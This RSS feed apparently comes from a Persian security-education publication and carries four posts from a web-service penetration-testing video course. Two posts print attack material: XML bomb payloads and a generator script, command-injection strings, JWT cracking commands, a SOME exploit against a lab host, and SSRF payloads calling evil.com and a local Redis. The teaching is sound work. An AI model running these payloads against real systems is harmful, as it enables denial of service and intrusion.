<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
    <channel>
        <title>پست‌های انتشارات بی کلیک | Zero Click</title>
        <link>https://virgool.io/zeroclick/feed</link>
        <description>آموزش های مرتبط با امنیت اطلاعات
فیلم های آموزشی 
https://www.youtube.com/channel/UCVSnDXD4CbHUKUImibHJPxg
سرور دیسکورد پرسش و پاسخ و اطلاع رسانی
https://discord.gg/3RMKaPP</description>
        <language>fa</language>
        <pubDate>2026-06-17 05:02:53</pubDate>
        <image>
            <url>https://files.virgool.io/upload/publication/fhyba2cqfn5a/2zg8jm.png</url>
            <title>بی کلیک | Zero Click</title>
            <link>https://virgool.io/zeroclick</link>
        </image>

                    <item>
                <title>آسیب پذیری های CORS,SOME,JWT,IDOR در وبسرویس ها</title>
                <link>https://virgool.io/zeroclick/%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D9%87%D8%A7%DB%8C-corssomejwtidor-%D8%AF%D8%B1-%D9%88%D8%A8%D8%B3%D8%B1%D9%88%DB%8C%D8%B3-%D9%87%D8%A7-xwm2fkivu3so</link>
                <description>در قسمت آخر سری آموزش های تصویری تست نفوذ وبسرویس ها این قسمت با یک سری دیگر از آسیب پذیری های رایج در وبسرویس مثل CORS و SOME و JWT و IDOR آشنا می شویم.آسیب پذیری هایی که این این قسمت می خواهیم درباره آن صحبت کنیم بسیار مرسوم است.برای تست CORS می توانید از روش های زیر هم استفاده نمایید.۱-وبسایت test-cors.org۲-اسکریپت زیر#@merwan
curl -I -X OPTIONS \
  -H &amp;quotOrigin: ${MY_URL}&amp;quot \
  -H &#039;Access-Control-Request-Method: GET&#039; \
  &amp;quot${MY_URL}/SOMETHING&amp;quot 2&gt;&amp;1 | grep -i &#039;Access-Control-Allow-Origin&#039;۳-اسکنر corsypython3 corsy.py -i /path/urls.txtبرای تست و اکسپلویت SOME ۱-وبسایت someattack۲-کد زیر برای اکسپلویت&lt;button =&amp;quotsome()&amp;quot&gt;Evil Click&lt;/button&gt;

function some() {
	open(&amp;quothttp://soap.vul/dvws/vulnerabilities/some/token_generator.php?&amp;mycallback=window.opener.alert&#40;1&#41;;&lt;\/script&gt;¶m1=retrievetoken¶m2=dvwsuser¶m3=some&amp;_=1591253461719&amp;quot);
  setTimeout(&#039;location=&amp;quothttp://soap.vul/dvws/vulnerabilities/some/&amp;quot&#039;)
}
استفاده شد.برای تست jwt۱-وبسایت jwt.io۲-ابزار c-jwt-cracker و crackjwt و jwt-cracker  برای کرک./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjEیاcrackjwt.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.cAOIAifu3fykvhkHpbuhbvtH807-Z2rI1FS3vX1XMjE dictionary.txtیاjwt-cracker &amp;quoteyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ&amp;quot &amp;quotabcdefghijklmnopqrstuwxyz&amp;quot 6همچنین برای تست idor و access control ها می توانیم ابتدا کلیه پارامتر هارا با Paramspider و یا ابزار های enumeration کلیه پارامتر ها و endpoint ها شناسایی و به ترتیب درجه اهمیت، idor را تست نماییم.python3 paramspider.py --domain soap.vulابزار دیگر برای تست خودکار HUNT است که می توانید با نصب آن در burp از آن استفاده کنید.در این قسمت تا اسلاید ۲۳ پیش رفتیم.اگر مشکلی در دسترسی به فیلم داشتید می توانید از dideo استفاده کنید.پیشاپیش از کم و کاستی ها این آموزش عذرخواهی می کنم.امید است با نظرات شما روز به روز به کیفیت آموزش ها افزوده شود.</description>
                <category>بی کلیک | Zero Click</category>
                <author>rezaduty</author>
                <pubDate>Mon, 08 Jun 2020 10:41:50 +0430</pubDate>
            </item>
                    <item>
                <title>آسیب پذیری های xml bomb,command injection, xst, ssrf در وبسرویس ها</title>
                <link>https://virgool.io/zeroclick/%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D9%87%D8%A7%DB%8C-xml-bombcommand-injection-xst-ssrf-%D8%AF%D8%B1-%D9%88%D8%A8%D8%B3%D8%B1%D9%88%DB%8C%D8%B3-%D9%87%D8%A7-htnh2lninb8c</link>
                <description>از سری آموزش های تصویری تست نفوذ وبسرویس، این قسمت با یک سری دیگر از آسیب پذیری های رایج در وبسرویس مثل xml bomb و command injection و xst و ssrf آشنا می شویمآسیب پذیری هایی که این این قسمت می خواهیم درباره آن صحبت کنیم بسیار گسترده اند بنابراین بخشی از آموزش را در این جا به صورت متنی قرار می دهم.نمونه payload برای تست xml bomb1)
&lt;?xml version=&amp;quot1.0&amp;quot?&gt;
&lt;!DOCTYPE results [&lt;!ENTITY long &amp;quotSOME_SUPER_LONG_STRING&amp;quot&gt;]&gt;
&lt;results&gt;
    &lt;result&gt;Now include &amp;long; lots of times to expand
    the in-memory size of this XML structure&lt;/result&gt;
    &lt;result&gt;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;
    &amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;
    &amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;
    &amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;
    Keep it going...
    &amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;&amp;long;...&lt;/result&gt;
&lt;/results&gt;

2)

&lt;?xml version=&amp;quot1.0&amp;quot?&gt;
&lt;!DOCTYPE results [
    &lt;!ENTITY x0 &amp;quotBOOM!&amp;quot&gt;
    &lt;!ENTITY x1 &amp;quot&amp;x0;&amp;x0;&amp;quot&gt;
    &lt;!ENTITY x2 &amp;quot&amp;x1;&amp;x1;&amp;quot&gt;
    &lt;!ENTITY x3 &amp;quot&amp;x2;&amp;x2;&amp;quot&gt;
    &lt;!-- Add the remaining sequence from x4...x100 (or boom) --&gt;
    &lt;!ENTITY x99 &amp;quot&amp;x98;&amp;x98;&amp;quot&gt;
    &lt;!ENTITY boom &amp;quot&amp;x99;&amp;x99;&amp;quot&gt;
]&gt;
&lt;results&gt;
    &lt;result&gt;Explode in 3...2...1...&amp;boom;&lt;/result&gt;
&lt;/results&gt;نمونه کد آسیب پذیر xml bomb:XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Parse;
settings.ValidationType = ValidationType.None;
settings.MaxCharactersFromEntities = 999999999999999;

XmlReader reader = XmlReader.Create(new StringReader(xml), settings);
while (reader.Read()) { }

return string.Empty;برای generate نمودن payload برای آسیب پذیری xml bomb میتوانید از این اسکریپت استفاده کنید.#!/usr/bin/python3

NUM = 55000

def main():
	entity = &#039;A&#039; * NUM
	refs = &#039;&amp;x;&#039; * NUM
	templ = &#039;&#039;&#039;&lt;?xml version=&amp;quot1.0&amp;quot?&gt;
	&lt;!DOCTYPE DoS [
	  &lt;!ENTITY x &amp;quot{entity}&amp;quot&gt;
	]&gt;
	&lt;DoS&gt;{entityReferences}&lt;/DoS&gt;
	&#039;&#039;&#039;.format(entity=entity, entityReferences=refs)

	print(templ)

if __name__ == &#039;__main__&#039;:
	main()برای آسیب پذیری command injection میتوانید از payload های زیر استفاده کنید.در لینوکس;id;
;id
|id
|/usr/bin/id
|id|در ویندوز| dir
; dir
%26%26 dir
%26%26dirادامه payload هابرای تست آسیب پذیری XST می توانید به جای استفاده از اسکریپت که در فیلم گفته شد می توانید از ترمینال این دستور اجرا کنید.curl -X TRACE -H &amp;quotCookie: name=value&amp;quot 127.0.0.1اگر مقدار تنظیم شده برای name در cookie پاسخ درخواست مشاهده شد آسیب پذیری xst وجود دارد.برای تست SSRF و اکسپلویت نمودن آن راه های زیاد و خلاقانه ای وجود دارد.در فیلم توانستیم با SSRF به صورت خیلی ساده port scan انجام بدهیم.یکی دیگه از راه های تست و اکسپلویت استفاده از دیگر پروتکل ها به جای http است.مثال های دیگر عبارتنند از:file://path/to/file
sftp://evil.com:11111/
tftp://evil.com:12346/TESTUDPPACKET
ldap://localhost:11211/%0astats%0aquit
gopher://127.0.0.1:4242/DATA
dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/htmlهمچنین برای تست ssrf می توانید از قابلیت burp collaborator در نرم افزار burp و همچنین ssrfmap استفاده کنیددر این قسمت تا اسلاید ۱۷ پیش رفتیم.اگر مشکلی در دسترسی به فیلم داشتید می توانید از dideo استفاده کنید.پیشاپیش از کم و کاستی ها این آموزش عذرخواهی می کنم.امید است با نظرات شما روز به روز به کیفیت آموزش ها افزوده شود.</description>
                <category>بی کلیک | Zero Click</category>
                <author>rezaduty</author>
                <pubDate>Sun, 07 Jun 2020 12:22:21 +0430</pubDate>
            </item>
                    <item>
                <title>آسیب پذیری های xxe,xpath injection,api sql injection در وبسرویس ها</title>
                <link>https://virgool.io/zeroclick/%D8%A2%D8%B3%DB%8C%D8%A8-%D9%BE%D8%B0%DB%8C%D8%B1%DB%8C-%D9%87%D8%A7%DB%8C-xxexpath-injectionapi-sql-injection-nfudsdnvjlv4</link>
                <description>از سری آموزش های تصویری تست نفوذ وبسرویس، این قسمت با یک سری از آسیب پذیری های رایج در وبسرویس مثل xxe و xpath injection و api sql injection آشنا می شویمهمچنین با ابزار های جمع آوری اطلاعات که در قسمت پیش با آن ها آشنا شده بودیم سعی می کنیم فایل wsdl پیدا کنیم.لیست ابزار هایی که این قسمت با آن به صورت مختصر کار می کنیم عبارتنند از:burpwfuzzwizdlerدر این قسمت تا اسلاید ۱۳ پیش رفتیم.اگر مشکلی در دسترسی به فیلم داشتید می توانید از dideo استفاده کنید.پیشاپیش از کم و کاستی ها این آموزش عذرخواهی می کنم.امید است با نظرات شما روز به روز به کیفیت آموزش ها افزوده شود.</description>
                <category>بی کلیک | Zero Click</category>
                <author>rezaduty</author>
                <pubDate>Sun, 22 Mar 2020 12:57:01 +0430</pubDate>
            </item>
                    <item>
                <title>مقدمه ای بر تست نفوذ وبسرویس</title>
                <link>https://virgool.io/zeroclick/%D9%85%D9%82%D8%AF%D9%85%D9%87-%D8%A7%DB%8C-%D8%A8%D8%B1-%D8%AA%D8%B3%D8%AA-%D9%86%D9%81%D9%88%D8%B0-%D9%88%D8%A8%D8%B3%D8%B1%D9%88%DB%8C%D8%B3-os12uh6bbyy4</link>
                <description>از سری آموزش های تصویری تست نفوذ وبسرویس، این قسمت با مفهوم وبسرویس و api و انواع وبسرویس آشنا می شویم.همچنین با یک سری از ابزار های جمع آوری اطلاعات و ابزار های کار تست انواع وبسرویس آشنا می شویم.لیست ابزار هایی که این قسمت با آن به صورت مختصر کار می کنیم عبارتنند از:opendoorwfuzzpostmansoapuiwizdlerburpدر این قسمت تا اسلاید 10 پیش رفتیماگر مشکلی در دسترسی به فیلم داشتید می توانید از dideo استفاده کنید.پی نوشتقسمت ۲ - آسیب پذیری های xxe,xpath injection,api sql injection در وبسرویس هاقسمت ۳ - آسیب پذیری های xml bomb,command injection, xst, ssrf در وبسرویس هاقسمت ۴ - آسیب پذیری های CORS,SOME,JWT,IDOR در وبسرویس هاپیشاپیش از کم و کاستی ها این آموزش عذرخواهی می کنم.امید است با نظرات شما روز به روز به کیفیت آموزش ها افزوده شود. </description>
                <category>بی کلیک | Zero Click</category>
                <author>rezaduty</author>
                <pubDate>Wed, 04 Mar 2020 12:10:22 +0330</pubDate>
            </item>
            </channel>
</rss>